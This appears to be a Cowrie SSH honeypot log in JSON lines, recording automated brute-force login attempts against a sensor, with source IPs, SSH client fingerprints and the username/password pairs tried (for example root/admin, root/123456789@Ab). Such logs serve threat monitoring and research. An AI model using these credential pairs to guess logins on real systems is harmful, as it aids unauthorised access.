{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:18.908920Z","src_ip":"119.203.251.187","session":"c42c15913d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789@Ab","message":"login attempt [root/123456789@Ab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:19.742626Z","src_ip":"119.203.251.187","session":"c42c15913d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:20.947057Z","src_ip":"119.203.251.187","session":"c42c15913d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.254","src_port":41122,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b378e7533a3","protocol":"ssh","message":"New connection: 154.90.70.254:41122 (10.17.0.5:22) [session: 6b378e7533a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:24.965768Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:24.969669Z","src_ip":"154.90.70.254","session":"6b378e7533a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.254","src_port":41126,"dst_ip":"10.17.0.5","dst_port":22,"session":"90e8a8a3851a","protocol":"ssh","message":"New connection: 154.90.70.254:41126 (10.17.0.5:22) [session: 90e8a8a3851a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:25.042355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:25.046161Z","src_ip":"154.90.70.254","session":"90e8a8a3851a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:25.127403Z","src_ip":"154.90.70.254","session":"90e8a8a3851a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:25.371017Z","src_ip":"154.90.70.254","session":"90e8a8a3851a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:26.453683Z","src_ip":"154.90.70.254","session":"90e8a8a3851a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.254","src_port":41130,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb590e659912","protocol":"ssh","message":"New connection: 154.90.70.254:41130 (10.17.0.5:22) [session: eb590e659912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:26.527188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:26.530990Z","src_ip":"154.90.70.254","session":"eb590e659912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:26.610286Z","src_ip":"154.90.70.254","session":"eb590e659912","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:26.850551Z","src_ip":"154.90.70.254","session":"eb590e659912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:26.934320Z","src_ip":"154.90.70.254","session":"eb590e659912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:31.914460Z","src_ip":"218.0.63.25","session":"bc9eb31c343c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":57466,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d09ee87b18d","protocol":"ssh","message":"New connection: 66.29.142.197:57466 (10.17.0.5:22) [session: 3d09ee87b18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:36.731870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:36.735869Z","src_ip":"66.29.142.197","session":"3d09ee87b18d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:36.798913Z","src_ip":"66.29.142.197","session":"3d09ee87b18d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mog2024","message":"login attempt [root/mog2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:36.992426Z","src_ip":"66.29.142.197","session":"3d09ee87b18d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:38.056515Z","src_ip":"66.29.142.197","session":"3d09ee87b18d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":40422,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ba97fb38fce","protocol":"ssh","message":"New connection: 103.27.238.116:40422 (159.203.135.109:22) [session: 2ba97fb38fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:39.228213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:39.231806Z","src_ip":"103.27.238.116","session":"2ba97fb38fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:39.517207Z","src_ip":"103.27.238.116","session":"2ba97fb38fce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ronaldo07","message":"login attempt [root/ronaldo07] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:40.374590Z","src_ip":"103.27.238.116","session":"2ba97fb38fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:41.663062Z","src_ip":"103.27.238.116","session":"2ba97fb38fce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":50006,"dst_ip":"10.17.0.5","dst_port":22,"session":"a19c1fa5337b","protocol":"ssh","message":"New connection: 165.227.170.113:50006 (10.17.0.5:22) [session: a19c1fa5337b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:52.914958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:52.919356Z","src_ip":"165.227.170.113","session":"a19c1fa5337b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:53.000023Z","src_ip":"165.227.170.113","session":"a19c1fa5337b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":47580,"dst_ip":"10.17.0.5","dst_port":22,"session":"0792973204db","protocol":"ssh","message":"New connection: 185.243.11.39:47580 (10.17.0.5:22) [session: 0792973204db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:53.207917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:53.212416Z","src_ip":"185.243.11.39","session":"0792973204db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:53.304954Z","src_ip":"185.243.11.39","session":"0792973204db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@$$w0rd@123","message":"login attempt [admin/P@$$w0rd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:53.351801Z","src_ip":"165.227.170.113","session":"a19c1fa5337b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C0q$P@ssw0rd!","message":"login attempt [root/C0q$P@ssw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:53.583461Z","src_ip":"185.243.11.39","session":"0792973204db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:54.435430Z","src_ip":"165.227.170.113","session":"a19c1fa5337b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:54.677590Z","src_ip":"185.243.11.39","session":"0792973204db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:55.723288Z","src_ip":"8.210.75.243","session":"99ea90fd75eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":42938,"dst_ip":"10.17.0.5","dst_port":22,"session":"abf78630b57d","protocol":"ssh","message":"New connection: 103.27.238.120:42938 (10.17.0.5:22) [session: abf78630b57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:57.376041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:57.378847Z","src_ip":"103.27.238.120","session":"abf78630b57d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:57.659315Z","src_ip":"103.27.238.120","session":"abf78630b57d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100381","message":"login attempt [root/100381] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:58.503588Z","src_ip":"103.27.238.120","session":"abf78630b57d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:59.786199Z","src_ip":"103.27.238.120","session":"abf78630b57d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:10.528967Z","src_ip":"8.210.75.243","session":"2752aec4d30c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:24.468588Z","src_ip":"8.210.75.243","session":"f42d0ca7d236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"93.9","message":"Connection lost after 93.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:26.209655Z","src_ip":"8.210.75.243","session":"2752aec4d30c","protocol":"ssh"}
